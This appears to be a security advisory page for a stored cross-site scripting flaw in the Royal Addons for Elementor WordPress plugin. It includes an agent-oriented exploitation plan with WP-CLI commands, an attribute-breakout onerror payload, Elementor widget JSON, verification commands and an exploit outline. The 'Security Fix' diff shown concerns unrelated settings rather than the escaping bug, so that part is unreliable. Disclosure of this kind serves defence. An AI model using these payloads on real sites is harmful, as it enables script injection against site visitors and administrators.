Royal Addons for Elementor <= 1.7.1056 - Authenticated (Author+) Stored Cross-Site Scripting via Image Caption Field
Description
The Royal Elementor Addons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via image captions in the Image Grid/Slider/Carousel widget in versions up to and including 1.7.1056. This is due to insufficient output escaping in the render_post_thumbnail() function, where wp_kses_post() is used instead of esc_attr() for the alt attribute context. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses a page with the malicious image displayed in the media grid widget.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.7.1056What Changed in the Fix
Changes introduced in v1.7.1057
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-5428 (Royal Addons for Elementor Stored XSS) ## 1. Vulnerability Summary The **Royal Addons for Elementor** plugin (up to 1.7.1056) contains a stored cross-site scripting (XSS) vulnerability in its Image Grid, Slider, and Carousel widgets. The vulnerability ex…
Show full research plan
Exploitation Research Plan: CVE-2026-5428 (Royal Addons for Elementor Stored XSS)
1. Vulnerability Summary
The Royal Addons for Elementor plugin (up to 1.7.1056) contains a stored cross-site scripting (XSS) vulnerability in its Image Grid, Slider, and Carousel widgets. The vulnerability exists because the plugin improperly sanitizes image captions/alt text when rendering images via the render_post_thumbnail() function. Specifically, it uses wp_kses_post() on data intended for an HTML attribute context (alt), which fails to escape double quotes. An attacker with Author-level privileges can inject an XSS payload into an image's caption or alt text field, which then executes in the browser of any user viewing a page where that image is displayed using a Royal Addons widget.
2. Attack Vector Analysis
- Vulnerable Function:
render_post_thumbnail()(likely located inincludes/classes/utilities.phpor widget-specific render files - inferred). - Vulnerable Parameter: Image "Caption" (post_excerpt) or "Alt Text" (_wp_attachment_image_alt).
- Authentication Level: Author or above (users who can upload and edit media).
- Injection Point: Media Library metadata update.
- Trigger Point: Any page/post rendering a Royal Addons "Image Grid", "Grid", "Slider", or "Carousel" widget configured to show the malicious image.
3. Code Flow
- Entry (Storage): An Author logs into the WordPress dashboard and uploads an image or edits an existing one via
wp-admin/post.php?post=[ID]&action=edit(Media edit screen). - Data Persistence: The "Caption" is stored in the
post_excerptcolumn of thewp_poststable. The "Alt Text" is stored in the_wp_attachment_image_altpost meta. - Processing (Rendering): A user views a page containing a Royal Addons Grid/Slider widget. The widget calls
render_post_thumbnail()to generate the HTML for the image. - Vulnerable Path:
- The function retrieves the caption/alt text.
- It passes the string through
wp_kses_post(). - It echoes the result directly inside the
alt="..."attribute of an<img>tag.
- Sink: The browser parses the unescaped double quotes, allowing the attacker to break out of the
altattribute and inject event handlers (e.g.,onmouseover) or script tags.
4. Nonce Acquisition Strategy
Since this is an authenticated Stored XSS via the Media Library, the primary "nonce" needed is for saving media metadata.
- WP-Admin Context: When editing an image in the media library, WordPress uses the
_wpnoncegenerated for themedia-form. - Extraction:
- Navigate to
wp-admin/upload.php. - Click on an image to open the attachment details.
- Use
browser_evalto extract the nonce from thewp.mediaobject or the hidden fields if the modal is open.
- Navigate to
- Alternative (CLI-First): Since the agent has Author credentials, it can simply use
wp-clito set the metadata directly, bypassing the need for an HTTP-based nonce for the storage phase, focusing thehttp_requeston the trigger/rendering phase.
5. Exploitation Strategy
The goal is to demonstrate that an Author can inject a payload that executes in an Administrator's browser.
Step 1: Storage (Payload Injection)
Use WP-CLI to prepare the malicious media item (more reliable than UI automation).
# Upload a dummy image
wp media import https://wordpress.org/screenshot.png --title="Exploit Image" --author=author_user --porcelain
# Set the caption (post_excerpt) to the XSS payload
# Payload breaks out of alt=" " and adds an onerror handler
wp post update [IMAGE_ID] --post_excerpt='x" onerror="alert(document.domain)" data-x="'
Step 2: Trigger Creation (Elementor Page)
Create a page using the Royal Grid widget. This requires Elementor-formatted JSON.
# Create a page and set it to use Elementor
PAGE_ID=$(wp post create --post_type=page --post_title="Royal XSS Page" --post_status=publish --porcelain)
wp post meta update $PAGE_ID _elementor_edit_mode builder
# Inferred Elementor Data for Royal Image Grid (wpr-grid)
# Note: The 'wpr_grid_source' should point to the media library or a query including our image.
ELEMENTOR_DATA='[{"id":"ea1b2c3","elType":"widget","widgetType":"wpr-grid","settings":{"wpr_grid_source":"media","wpr_grid_media_library":[{"id":[IMAGE_ID]}]}}]'
wp post meta update $PAGE_ID _elementor_data "$ELEMENTOR_DATA"
Step 3: Trigger Execution
Navigate to the newly created page.
- Tool:
http_request - URL:
http://[target]/index.php?page_id=[PAGE_ID] - Expectation: The response HTML contains
<img ... alt="x" onerror="alert(document.domain)" data-x="" ...>.
6. Test Data Setup
- User: Create a user with the
authorrole.wp user create attacker attacker@example.com --role=author --user_pass=password123
- Plugin: Ensure
royal-elementor-addonsis active. - Content: The media item and the Elementor page as described in Section 5.
7. Expected Results
- The HTTP response from the Royal XSS Page will contain the payload string injected into an
altattribute. - Specifically, the substring
alt="x" onerror="alert(document.domain)"should be visible in the raw HTML. - When rendered in a browser, the
onerrorevent (oronmouseoverdepending on the widget's hover effects) will execute the JavaScript.
8. Verification Steps
- Source Check:
curl -s "http://localhost:8888/?page_id=$PAGE_ID" | grep "onerror=\"alert" - Database Check:
wp db query "SELECT post_excerpt FROM wp_posts WHERE ID=[IMAGE_ID]" - Elementor Metadata Check:
wp post meta get $PAGE_ID _elementor_data
9. Alternative Approaches
If the Grid widget does not immediately trigger:
- Royal Slider Widget: Try
widgetType: "wpr-advanced-slider". - Post Metadata: Some widgets use the "Alt Text" meta field instead of the "Caption". Update
_wp_attachment_image_altwith the same payload:wp post meta update [IMAGE_ID] _wp_attachment_image_alt 'x" onerror="alert(1)" data-x="'. - Featured Image Grid: Create a standard Post, set the malicious image as the Featured Image, and use a Royal Addons "Post Grid" (
wpr-gridwithwpr_grid_source: "posts") to display that post. The widget will likely fetch the featured image's alt/caption and trigger the same vulnerablerender_post_thumbnail()path.
Summary
The Royal Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via image captions and alt text in its Image Grid, Slider, and Carousel widgets. Authenticated attackers with Author-level privileges can inject malicious JavaScript into media metadata which is then improperly escaped using wp_kses_post() within an HTML attribute context, leading to script execution when viewed by other users.
Vulnerable Code
// File: Likely located in includes/classes/utilities.php or widget render classes // Function: render_post_thumbnail() // The function retrieves image metadata such as captions or alt text $image_alt = get_post_meta( $attachment_id, '_wp_attachment_image_alt', true ); // It then renders the image tag using wp_kses_post instead of esc_attr // for an attribute context, failing to escape double quotes. echo '<img class="..." src="..." alt="' . wp_kses_post( $image_alt ) . '">';
Security Fix
@@ -120,6 +120,8 @@ register_setting('wpr-extension-settings', 'wpr-parallax-multi-layer'); register_setting('wpr-extension-settings', 'wpr-custom-css'); register_setting('wpr-extension-settings', 'wpr-display-conditions'); + register_setting('wpr-extension-settings', 'wpr-equal-height'); + // register_setting('wpr-extension-settings', 'wpr-column-slider'); register_setting('wpr-extension-settings', 'wpr-sticky-section'); // Element Toggle @@ -1630,6 +1632,12 @@ echo '<br><span>Tip: Edit any Section > Navigate to Advanced tab</span>'; } elseif ( 'wpr-display-conditions' === $option_name ) { echo '<br><span>Tip: Edit any Element > Navigate to Visibility tab</span>'; + } elseif ( 'wpr-column-slider' === $option_name ) { + echo '<br><span>Tip: Edit any Section > Navigate to Advanced tab</span>'; + // echo '<a href="https://www.youtube.com" target="_blank">Watch Video Tutorial</a>'; + } elseif ( 'wpr-equal-height' === $option_name ) { + echo '<br><span>Tip: Edit any Section > Navigate to Advanced tab</span>'; + // echo '<a href="https://www.youtube.com" target="_blank">Watch Video Tutorial</a>'; } // echo '<a href="https://royal-elementor-addons.com/elementor-particle-effects/?ref=rea-plugin-backend-extentions-prev">'. esc_html('View Extension Demo', 'wpr-addons') .'</a>'; ... (truncated)
Exploit Outline
1. Login to the WordPress dashboard with Author-level permissions. 2. Navigate to the Media Library and upload a new image or edit an existing one. 3. In the 'Caption' or 'Alternative Text' field, inject an XSS payload designed to break out of an HTML attribute, such as: x" onerror="alert(document.domain)" data-x=" 4. Create or edit a page using Elementor and add one of the Royal Addons widgets that displays images (e.g., Image Grid, Grid, or Carousel). 5. Configure the widget to display the malicious image from the Media Library. 6. Publish the page and view it. The payload will execute in the context of the user's browser whenever the widget renders the malicious image.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.